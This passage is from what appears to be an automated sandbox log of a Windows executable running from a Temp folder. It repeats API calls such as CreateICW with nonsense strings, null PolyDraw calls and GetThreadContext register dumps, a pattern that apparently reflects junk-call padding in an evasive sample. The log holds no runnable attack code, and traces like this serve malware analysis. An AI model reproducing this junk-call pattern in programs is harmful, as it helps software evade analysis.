[112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.239] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.240] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.240] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.240] GetConsoleCP () returned 0x0
	[0066.240] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, [112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.240] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.240] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.240] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.240] GetConsoleCP () returned 0x0
	[0066.240] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, [112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.240] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.242] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.242] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.242] GetConsoleCP () returned 0x0
